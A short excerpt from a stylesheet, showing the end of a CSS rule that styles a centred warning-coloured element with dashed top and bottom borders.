704 | color: var(--warning-color);
705 | text-align: center;
706 | padding: 5px 0;
707 | margin: 8px 0;
708 | border-top: 1px dashed var(--border-color);
709 | border-bottom: 1px dashed var(--border-color);
710 | }
--------------------------------------------------------------------------------